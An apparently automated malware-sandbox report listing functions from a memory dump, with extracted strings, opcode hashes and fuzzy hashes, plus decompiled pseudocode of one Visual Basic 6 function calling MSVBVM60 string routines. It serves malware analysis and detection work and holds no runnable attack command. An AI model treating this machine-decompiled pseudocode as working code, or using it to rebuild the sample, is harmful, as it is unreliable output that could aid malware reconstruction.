Function 020A433C, Relevance: 8.3, Strings: 6, Instructions: 764COMMON

Download Yara Rule

Strings

J_(, xrefs: 020A4B72
*G, xrefs: 020A4E76
Rn/, xrefs: 020A4BEA
JK, xrefs: 020A43FB
^Zi, xrefs: 020A44E4
Rn/, xrefs: 020A4BE5

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID: J_($Rn/$Rn/$^Zi$*G$JK
API String ID: 0-574496016
Opcode ID: d6b62564e5c9319851b4dda84e16d7188db732fdc288302ecbf4b883eb6cbe41
Instruction ID: e21c9cb06fa258a77b7aa59b5e53f660177e4bea9d3596b3834171ab95086ef8
Opcode Fuzzy Hash: d6b62564e5c9319851b4dda84e16d7188db732fdc288302ecbf4b883eb6cbe41
Instruction Fuzzy Hash: DD5214B160034A9FDF709F78CDA57DA7BA2FF19350F85412ADC899B200D3758A86CB51

Uniqueness

Uniqueness Score: -1.00%

Function 020A46B8, Relevance: 5.6, Strings: 4, Instructions: 555COMMON

Download Yara Rule

Strings

J_(, xrefs: 020A4B72
*G, xrefs: 020A4E76
Rn/, xrefs: 020A4BEA
Rn/, xrefs: 020A4BE5

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID: J_($Rn/$Rn/$*G
API String ID: 0-214948836
Opcode ID: fd26406aa42d1f086059706d7c501c911bd859b0cf9ff87819124bfb3beadae7
Instruction ID: d1f19d954cc4cb05613cd5fafbf0d7120dde50376087cc30d77547a9121ac484
Opcode Fuzzy Hash: fd26406aa42d1f086059706d7c501c911bd859b0cf9ff87819124bfb3beadae7
Instruction Fuzzy Hash: 66121471601349DFEF718EB8CDA57DA3BE2FF1A350F85412ADC899B240D3708A868B51

Uniqueness

Uniqueness Score: -1.00%

Function 020A489B, Relevance: 5.5, Strings: 4, Instructions: 454COMMON

Download Yara Rule

Strings

J_(, xrefs: 020A4B72
*G, xrefs: 020A4E76
Rn/, xrefs: 020A4BEA
Rn/, xrefs: 020A4BE5

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID: J_($Rn/$Rn/$*G
API String ID: 0-214948836
Opcode ID: 4857aba5639b5b0bfe865bb4209fc0ffa2b9daea1229c6df02f92f1c275af324
Instruction ID: d32e4257dd37d0d46a4863dea83f18a7546a47964d921179701ce8c4dea7c0ee
Opcode Fuzzy Hash: 4857aba5639b5b0bfe865bb4209fc0ffa2b9daea1229c6df02f92f1c275af324
Instruction Fuzzy Hash: ADF12671600349DFEF718EB8CDA5BDA3BE2FF19350F84412ADD899B204D3708A869B51

Uniqueness

Uniqueness Score: -1.00%

Function 020A4ADA, Relevance: 5.3, Strings: 4, Instructions: 315COMMON

Download Yara Rule

Strings

J_(, xrefs: 020A4B72
*G, xrefs: 020A4E76
Rn/, xrefs: 020A4BEA
Rn/, xrefs: 020A4BE5

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID: J_($Rn/$Rn/$*G
API String ID: 0-214948836
Opcode ID: 6c9721978300bbeec95b900a59e302c75e9ec7cfac3a5cffc3e4e019ca07b1a6
Instruction ID: d119935957030a3f64a355cc00adea8a37c6aa9147ca3353b6bd0e2bd38fd4a5
Opcode Fuzzy Hash: 6c9721978300bbeec95b900a59e302c75e9ec7cfac3a5cffc3e4e019ca07b1a6
Instruction Fuzzy Hash: 01C1E371641349DFEF718EB8CDA5BDA3BE2FF49354F84412ADC889B204D3718A868B51

Uniqueness

Uniqueness Score: -1.00%

Function 020A4AAA, Relevance: 5.3, Strings: 4, Instructions: 308COMMON

Download Yara Rule

Strings

J_(, xrefs: 020A4B72
*G, xrefs: 020A4E76
Rn/, xrefs: 020A4BEA
Rn/, xrefs: 020A4BE5

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID: J_($Rn/$Rn/$*G
API String ID: 0-214948836
Opcode ID: 45cd18c1eb9f7c329155a3e23152a197b2bf56a03e03a22f57fe6de157cfc53f
Instruction ID: cbdb136a14afd799fc2fadff060b8aeddf4cd25d289fd5e39dea64adf2d79ea4
Opcode Fuzzy Hash: 45cd18c1eb9f7c329155a3e23152a197b2bf56a03e03a22f57fe6de157cfc53f
Instruction Fuzzy Hash: E1C10771641349DFEF718EB8CDA5BDA37E2FF59350F84412ADC888B204D3718A869B51

Uniqueness

Uniqueness Score: -1.00%

Function 020A352B, Relevance: 4.1, Strings: 3, Instructions: 307COMMON

Download Yara Rule

Strings

*;h, xrefs: 020A3640
vD&, xrefs: 020A363B
".M, xrefs: 020A35D6

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID: ".M$vD&$*;h
API String ID: 0-431630790
Opcode ID: e5c77663917ea425dc111942944fe031c32474bb7d84a65048e46a77e1263fad
Instruction ID: 01619d21d652763d9561e653dbaac4583747f3852c232b66fea4641afe39636d
Opcode Fuzzy Hash: e5c77663917ea425dc111942944fe031c32474bb7d84a65048e46a77e1263fad
Instruction Fuzzy Hash: C0C1457160038ADFDB309F78CDA97EE77A2AF55360F96815ADC499B151D3308A81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 020A4021, Relevance: 2.6, Strings: 2, Instructions: 78COMMON

Download Yara Rule

Strings

_K, xrefs: 020A4098
n?SK, xrefs: 020A4182

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID: _K$n?SK
API String ID: 0-3414572539
Opcode ID: dc1613f30fce24b3abc3d90fed963d170564e26ea5ac6c1e431cc1e30e35cb7e
Instruction ID: d21fd2a9dba6604a79008c0c98a854c5b22028bcba2da8673641fa4cea3a5068
Opcode Fuzzy Hash: dc1613f30fce24b3abc3d90fed963d170564e26ea5ac6c1e431cc1e30e35cb7e
Instruction Fuzzy Hash: 83217B71B043095FCF685EA8DEA47EF32E3EF91350FA64119DC8AA7110D3748D819646

Uniqueness

Uniqueness Score: -1.00%

Function 020A4CF4, Relevance: 1.4, Strings: 1, Instructions: 196COMMON

Download Yara Rule

Strings

*G, xrefs: 020A4E76

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID: *G
API String ID: 0-1675791495
Opcode ID: c0306323d311eaede4ee2e3a36d98503914e2c87f85fc977c4d8ec210b7ac711
Instruction ID: e5b07e242afcb26350fb6fef1a00136b81566f11745b29349ee4db7b08a19a16
Opcode Fuzzy Hash: c0306323d311eaede4ee2e3a36d98503914e2c87f85fc977c4d8ec210b7ac711
Instruction Fuzzy Hash: E57122716413499FEF718E78CD95BDE3BE2FF1A310F84811ADC898B204D7708A869B91

Uniqueness

Uniqueness Score: -1.00%

Function 020A792B, Relevance: .3, Instructions: 346COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdfbdd02eb660a0ac61e7da16c583523913027c3b6723d8ce9f31aabafdbc6e9
Instruction ID: 95954cf5068f87dc6bd7fcc4ec647dff6dc839e90aacc3294dd25eab8d9e925b
Opcode Fuzzy Hash: fdfbdd02eb660a0ac61e7da16c583523913027c3b6723d8ce9f31aabafdbc6e9
Instruction Fuzzy Hash: 75C15972A0434A9FDF30DEA8C8A57EEB7E2AF45350F95812EDC499B215D3319A81CB41

Uniqueness

Uniqueness Score: -1.00%

Function 020A2655, Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fadebeef30ae4258c6023e97f09a12056a0981ad7515e5f968ba92292eedbb0c
Instruction ID: f3daf7795c8b3fe3097b5e91d0b07d47836be22743226de2413f30764f27c69f
Opcode Fuzzy Hash: fadebeef30ae4258c6023e97f09a12056a0981ad7515e5f968ba92292eedbb0c
Instruction Fuzzy Hash: 3391127160434A9FDB349E788DE57EF37A6AF59380F95842EDC89D7205C3318A86CB11

Uniqueness

Uniqueness Score: -1.00%

Function 020A8F5C, Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 706749d4622b2fe5ffc39f69b11e384af27cca2cd802228e73fdcaff84cffaa9
Instruction ID: ff1df1050c1d5c024867066f0d1fd26c67ddca3735418fbfa3fd23453c343d68
Opcode Fuzzy Hash: 706749d4622b2fe5ffc39f69b11e384af27cca2cd802228e73fdcaff84cffaa9
Instruction Fuzzy Hash: 7081D475600349CFDB35DEB9C8E57DA7BB2BF95350FD5812ACC0A8B254D3318A86CA41

Uniqueness

Uniqueness Score: -1.00%

Function 020A8FD6, Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84b09b120130231f386c830bd9fa0e9c8eb5a2a4664dbcecbb62a69cb8e8206e
Instruction ID: 33fa9bdd78b91a107297863524624adcbf7236090db330a0dbad221b1e129367
Opcode Fuzzy Hash: 84b09b120130231f386c830bd9fa0e9c8eb5a2a4664dbcecbb62a69cb8e8206e
Instruction Fuzzy Hash: F181E275700349CFDB39DEB9C8A57DA7BB2BF95350FD4812ACC4A8B254D3318A85CA41

Uniqueness

Uniqueness Score: -1.00%

Function 020A1BF9, Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2be7d61713ed6ee7102cd2004f72d58ec09c8695e3b497dda316c457fcb9219b
Instruction ID: 1a8a2e15c3ad8d670f9e239315c97361df050ba8658fafe9486df1c9403d7670
Opcode Fuzzy Hash: 2be7d61713ed6ee7102cd2004f72d58ec09c8695e3b497dda316c457fcb9219b
Instruction Fuzzy Hash: A2612271A0438A9BCB309E688C657DA7BA2EF9A390FC5412EDCCDD7201D3315982CB41

Uniqueness

Uniqueness Score: -1.00%

Function 020A8F4F, Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 881b9cd5a0c7c705d2347de4e043bfcc2a9264c4e9a761a7da0d8084e14317ab
Instruction ID: 05556a7e19039496a54b0be911e816684919046dfca527b9f825b506d608a59d
Opcode Fuzzy Hash: 881b9cd5a0c7c705d2347de4e043bfcc2a9264c4e9a761a7da0d8084e14317ab
Instruction Fuzzy Hash: 8171F371700349CFDB39DEB9C9E57DA77B2BF99340F94812ACC4A8B258D3308A85CA41

Uniqueness

Uniqueness Score: -1.00%

Function 020A9058, Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34bbbedb39c15a2c8a8b6010226b9ff0e39b05eeaabe72feb147376d846b5090
Instruction ID: 0e4acc2855bcc8d3bd806a1604002ae60bfdc3d56e17ab3c8017fd956d8244a3
Opcode Fuzzy Hash: 34bbbedb39c15a2c8a8b6010226b9ff0e39b05eeaabe72feb147376d846b5090
Instruction Fuzzy Hash: 1C61CD75600389CFDB35DEA9C8E57EA7BB2BF55310FD5412ACC0A9B254D3318A86CB41

Uniqueness

Uniqueness Score: -1.00%

Function 020A1BF7, Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de05062ab0a514a444d98b4cf256c06a3789be3446f4184a3272ba31453a33b3
Instruction ID: 31c7cc7993170d150020e1a223104e7b0092c8c938af0a6a237b0a9438d18586
Opcode Fuzzy Hash: de05062ab0a514a444d98b4cf256c06a3789be3446f4184a3272ba31453a33b3
Instruction Fuzzy Hash: 2651D071A0434A9BCB349E6888A97DB77A2EF99350FC6402EECCDD7204D7315D86CB45

Uniqueness

Uniqueness Score: -1.00%

Function 020A90D7, Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a5f85d1cc757a6288315de7bcb5ed95347576ecc93cb03a18d06174a9b33d10
Instruction ID: ba8d63931c69232bcfc464f8a38fee7096a1a1b487d4e8d5f1863147c0dae82d
Opcode Fuzzy Hash: 8a5f85d1cc757a6288315de7bcb5ed95347576ecc93cb03a18d06174a9b33d10
Instruction Fuzzy Hash: 9E61FE75600389CFDB39DEA9C8E5BDA3BB2BF85310FC4412ACC0A8B254D3318A85CB41

Uniqueness

Uniqueness Score: -1.00%

Function 020A7B34, Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22547901009b7e4b661ff296db68b598bf2d5cf93eb7e0098cdfe76af221af44
Instruction ID: f57ed557935fa221d5a8e5cef9b088d0da44dc422eedb43f0c4c69ddb73f4ca8
Opcode Fuzzy Hash: 22547901009b7e4b661ff296db68b598bf2d5cf93eb7e0098cdfe76af221af44
Instruction Fuzzy Hash: A8512676908359DFDB30DE9998A57EEF7A2AF446A0F96412ECC485B210D3315B82CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 020A796F, Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4a17dddd4ab4d97e7ade0ba3702c7668bd72e43dfed222669e7b97ac4a4cf4c
Instruction ID: 610a6358204aac21ef1754d0061b24671851111af08af62748b12d8e938ef754
Opcode Fuzzy Hash: a4a17dddd4ab4d97e7ade0ba3702c7668bd72e43dfed222669e7b97ac4a4cf4c
Instruction Fuzzy Hash: 145146729087569FDF318EA8C8A53DFB7A3AF45350F9A812ACC8857215D3315A81CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 020A7BDB, Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 031acb43d198d195e210c62f0e5640ad21f3e3f6f076f58aff68052130cd9e8f
Instruction ID: 9f1558d84ba7b282182bda1f92c7db5667ea9c81ff38a3ebb74c48c020b4b10e
Opcode Fuzzy Hash: 031acb43d198d195e210c62f0e5640ad21f3e3f6f076f58aff68052130cd9e8f
Instruction Fuzzy Hash: 3D5156729483559FDF31CEA8C8A47DEF7A6AF45650F4A812FCC885B215C3316B81CB82

Uniqueness

Uniqueness Score: -1.00%

Function 020A3D14, Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bb153bc4347e046e60485cb1a1d636f45197adfac296346711e7591f8e4c7cb
Instruction ID: 427fcf7b9dd2bc4215073352f3580c069d35b4079417d976addea74480bec3ca
Opcode Fuzzy Hash: 0bb153bc4347e046e60485cb1a1d636f45197adfac296346711e7591f8e4c7cb
Instruction Fuzzy Hash: E3512372A003448BCB78CF69C9E57DA77F2AF89344F94822EDC8E8B604D734A941DB15

Uniqueness

Uniqueness Score: -1.00%

Function 020A7A0B, Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6dd5dc23cf328aa7db8e53bf0fbc733d5256670f8bc3e2f30aac520fa8d08d9d
Instruction ID: 855dc0c4e117415cae8a3bc5d771aaf56dd1185dae3e1c7273a6e59fd26541aa
Opcode Fuzzy Hash: 6dd5dc23cf328aa7db8e53bf0fbc733d5256670f8bc3e2f30aac520fa8d08d9d
Instruction Fuzzy Hash: EF5104729087559FDF31CEA8C8A57DEB7B2AF45750F8A812ACC8897215C3315A81DBC2

Uniqueness

Uniqueness Score: -1.00%

Function 020A7C0D, Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 837498b268241e0de8332fa2523aa0faf924ff12ac40f17729346a9bbcdf21ac
Instruction ID: d4cacfbec4bf6b64fd9d1a0fadd7d6e8f813c50408d28c2d9a4111fb11acf3ba
Opcode Fuzzy Hash: 837498b268241e0de8332fa2523aa0faf924ff12ac40f17729346a9bbcdf21ac
Instruction Fuzzy Hash: C65124769487559FDF31CEA8C8A47DEB7A2AF45250F4A802FCC885B215C3316B81DB82

Uniqueness

Uniqueness Score: -1.00%

Function 020A7C02, Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 366e521a213802037d496abbeab4438301bfb06dcf8062d0202827548d285319
Instruction ID: b5ecf10bafeae73d9d11aae49518a95cd746a4ca15d3cf878d609c3e29be9eec
Opcode Fuzzy Hash: 366e521a213802037d496abbeab4438301bfb06dcf8062d0202827548d285319
Instruction Fuzzy Hash: 5B512476908715AFDF308EA8C8A47DFB3A6AF55650F86812ECC8857214D3316B81DBD2

Uniqueness

Uniqueness Score: -1.00%

Function 020A83CF, Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 699a746ce4f031364549ff462b160499e94e104cb998fd49ba235a6272b2fbc0
Instruction ID: 0424076a8419276ca41c7b4fc5f47ff0df49f61fce61844b382f2d0299bc1be0
Opcode Fuzzy Hash: 699a746ce4f031364549ff462b160499e94e104cb998fd49ba235a6272b2fbc0
Instruction Fuzzy Hash: DF5118715083C58FCF759E7888A57DA7AE2AF12320F89C2A9CC9DCF246D3358541C752

Uniqueness

Uniqueness Score: -1.00%

Function 020A916F, Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 066c8b5750a1a120f08065b9dc339ca7bcaddcc190836f0d4180e1d8d8b36656
Instruction ID: 53763eda4f2838a965c26bd3ff828d3be0cd9779d77a588161fbd887af61150a
Opcode Fuzzy Hash: 066c8b5750a1a120f08065b9dc339ca7bcaddcc190836f0d4180e1d8d8b36656
Instruction Fuzzy Hash: A141BD35600349DFDB79DEA9C8E47EB37A2BF95310FD4812ACD4A8B294D7318A81CB51

Uniqueness

Uniqueness Score: -1.00%

Function 020A3714, Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c79602d37295ab75fd4be6158f6abf09328f1b07f901779beff8f1e5aa7e1c3c
Instruction ID: d64c357c7f9159eabeef5d7a55f61baa2ad333ce422d002ccef6ea0b57851277
Opcode Fuzzy Hash: c79602d37295ab75fd4be6158f6abf09328f1b07f901779beff8f1e5aa7e1c3c
Instruction Fuzzy Hash: 18316DB620534A9FEB31EFA48DE57EE7BA3AF553A4FD6402DDC485B201C3314986CA10

Uniqueness

Uniqueness Score: -1.00%

Function 020A2877, Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d0832d5ccd0b632be7ae35205905394b996e191f6066bcd72db441df32190fa
Instruction ID: a3f96ff553d3daf69b71dc26c75bfdc6c5b638ffe9dec3f02a2c37c4798dc59a
Opcode Fuzzy Hash: 2d0832d5ccd0b632be7ae35205905394b996e191f6066bcd72db441df32190fa
Instruction Fuzzy Hash: 994124B250838EDFCB309E6498A56DE7BA5BF18358FC2042EDC49E7600D3719A85CB40

Uniqueness

Uniqueness Score: -1.00%

Function 020A39D7, Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: effea3e48eae48c3e8ad68349fcc9e035669d1cbe3c224913bf3a703520b2dd9
Instruction ID: 180b6bdf1a575c0f05afb6ce1e49aee49e9cc8cbd68df89349f0614f906f2972
Opcode Fuzzy Hash: effea3e48eae48c3e8ad68349fcc9e035669d1cbe3c224913bf3a703520b2dd9
Instruction Fuzzy Hash: 0541CE71B047459FD7649F7888E8BDAB7A1FF18390F918029DC898B211D7748A818F40

Uniqueness

Uniqueness Score: -1.00%

Function 020A9AB9, Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a647b2196b5d2b615d700f461ea7e69eae83e402b998bee2024b229f0a9ee08b
Instruction ID: eb3d3b6dab92528fdfb8a664f050c931d2c8a93d35d2e3fa8df0422b539527e9
Opcode Fuzzy Hash: a647b2196b5d2b615d700f461ea7e69eae83e402b998bee2024b229f0a9ee08b
Instruction Fuzzy Hash: AB31287150D2E68FD721DAF44DC94A2FB79BB4A2357C8838ED8604D48ADA15C076D3A3

Uniqueness

Uniqueness Score: -1.00%

Function 020A554D, Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82877460d6475414a78dc0aefbdff8140516305d48f92ad26848ded1da101a50
Instruction ID: e8cee8afc2e478b66d7f579a208fa9b4123af2e05d47fecaaad76da2ad0c591e
Opcode Fuzzy Hash: 82877460d6475414a78dc0aefbdff8140516305d48f92ad26848ded1da101a50
Instruction Fuzzy Hash: BA212B72A097088FDB28AE3589A57EBB7A3EFE1340F56842DD8CA47514D3354986CB06

Uniqueness

Uniqueness Score: -1.00%

Function 020A6E4F, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ec5a6a592009478e64112dbfc18298899b25db471413055c37b6c7d834b66ac
Instruction ID: 480b1c9ce74bd21ee6082f753385079b8792b693b63b3c1da8e84eab67eb82b1
Opcode Fuzzy Hash: 4ec5a6a592009478e64112dbfc18298899b25db471413055c37b6c7d834b66ac
Instruction Fuzzy Hash: 70B09274312640CFC241CE19C1A0F8173B0FB08A90B810480E8028BF11C228E8008B00

Uniqueness

Uniqueness Score: -1.00%

Function 00433C94, Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 145
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00433C94(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v48;
				void* _v56;
				char* _v64;
				signed int _v72;
				intOrPtr _v80;
				signed int _v88;
				intOrPtr _v96;
				signed int _v104;
				intOrPtr _v112;
				signed int _v120;
				intOrPtr _v128;
				signed int _v136;
				intOrPtr* _v156;
				intOrPtr* _t51;
				signed int _t53;
				intOrPtr _t54;
				void* _t56;
				intOrPtr* _t64;
				signed int _t69;
				void* _t87;
				void* _t89;
				intOrPtr _t90;
				intOrPtr _t99;

				_t90 = _t89 - 0xc;
				 *[fs:0x0] = _t90;
				_v16 = _t90 - 0x94;
				_v12 = 0x401140;
				_v8 = 0;
				_t51 = _a4;
				 *((intOrPtr*)( *_t51 + 4))(_t51, __edi, __esi, __ebx,  *[fs:0x0], 0x401226, _t87);
				_t69 = 2;
				_t53 =  &_v56;
				_push(_t53);
				_push(1);
				_v56 = 0;
				_push(L"FGFG");
				_v28 = 0;
				_v32 = 0;
				_v36 = 0;
				_v40 = 0;
				_v72 = 0;
				_v88 = 0;
				_v104 = 0;
				_v120 = 0;
				_v136 = 0;
				_v48 = _t69;
				_v56 = _t69;
				L004012F2();
				L0040136A();
				_push(_t53);
				_push(0x431dbc);
				L00401352();
				asm("sbb esi, esi");
				L0040134C();
				L0040133A();
				if( ~( ~( ~_t53)) != 0) {
					_t99 =  *0x435448; // 0x2a8e8b4
					if(_t99 == 0) {
						_push(0x435448);
						_push(0x431ad4);
						L00401364();
					}
					_v104 = _t69;
					_t54 = 3;
					_v136 = _t54;
					_v128 = 0x16bec2;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v120 = _t54;
					_v112 = 0x12b06b;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v96 = 0x18;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v88 = _t54;
					_t64 =  *0x435448; // 0x2a8e8b4
					_v80 = 0x5ead28;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v64 = L"PIKARESKE";
					_v72 = 8;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v156 = _t64;
					asm("movsd");
					_t56 =  *((intOrPtr*)( *_t64 + 0x44))(_t64,  &_v40);
					asm("fclex");
					if(_t56 < 0) {
						_push(0x44);
						_push(0x431ac4);
						_push(_v156);
						_push(_t56);
						L0040135E();
					}
					_t53 = _v40;
					_v48 = _t53;
					_v56 = 9;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_push(0);
					_push(_v28);
					_v40 = 0;
					asm("movsd");
					L00401346();
					L0040133A();
				}
				_v32 = 0x4b3f9744;
				asm("wait");
				_push(0x433e5f);
				L00401358();
				return _t53;
			}

0x00433c97
0x00433ca6
0x00433cb6
0x00433cb9
0x00433cc2
0x00433cc5
0x00433ccb
0x00433cd0
0x00433cd1
0x00433cd4
0x00433cd5
0x00433cd7
0x00433cda
0x00433cdf
0x00433ce2
0x00433ce5
0x00433ce8
0x00433ceb
0x00433cee
0x00433cf1
0x00433cf4
0x00433cf7
0x00433cfd
0x00433d00
0x00433d03
0x00433d0d
0x00433d12
0x00433d13
0x00433d18
0x00433d21
0x00433d2a
0x00433d32
0x00433d3a
0x00433d40
0x00433d46
0x00433d48
0x00433d4d
0x00433d52
0x00433d52
0x00433d57
0x00433d5c
0x00433d66
0x00433d6c
0x00433d79
0x00433d7a
0x00433d7b
0x00433d7c
0x00433d82
0x00433d85
0x00433d8f
0x00433d90
0x00433d91
0x00433d92
0x00433d98
0x00433da2
0x00433da3
0x00433da4
0x00433da5
0x00433da9
0x00433dac
0x00433db4
0x00433dbe
0x00433dbf
0x00433dc2
0x00433dc3
0x00433dc7
0x00433dce
0x00433dda
0x00433ddb
0x00433ddc
0x00433dde
0x00433de4
0x00433de5
0x00433dea
0x00433dec
0x00433dee
0x00433df0
0x00433df5
0x00433dfb
0x00433dfc
0x00433dfc
0x00433e01
0x00433e07
0x00433e0a
0x00433e16
0x00433e17
0x00433e18
0x00433e19
0x00433e1a
0x00433e1d
0x00433e20
0x00433e21
0x00433e29
0x00433e29
0x00433e2e
0x00433e35
0x00433e36
0x00433e59
0x00433e5e

APIs

#628.MSVBVM60(FGFG,00000001,?), ref: 00433D03
__vbaStrMove.MSVBVM60(FGFG,00000001,?), ref: 00433D0D
__vbaStrCmp.MSVBVM60(00431DBC,00000000,FGFG,00000001,?), ref: 00433D18
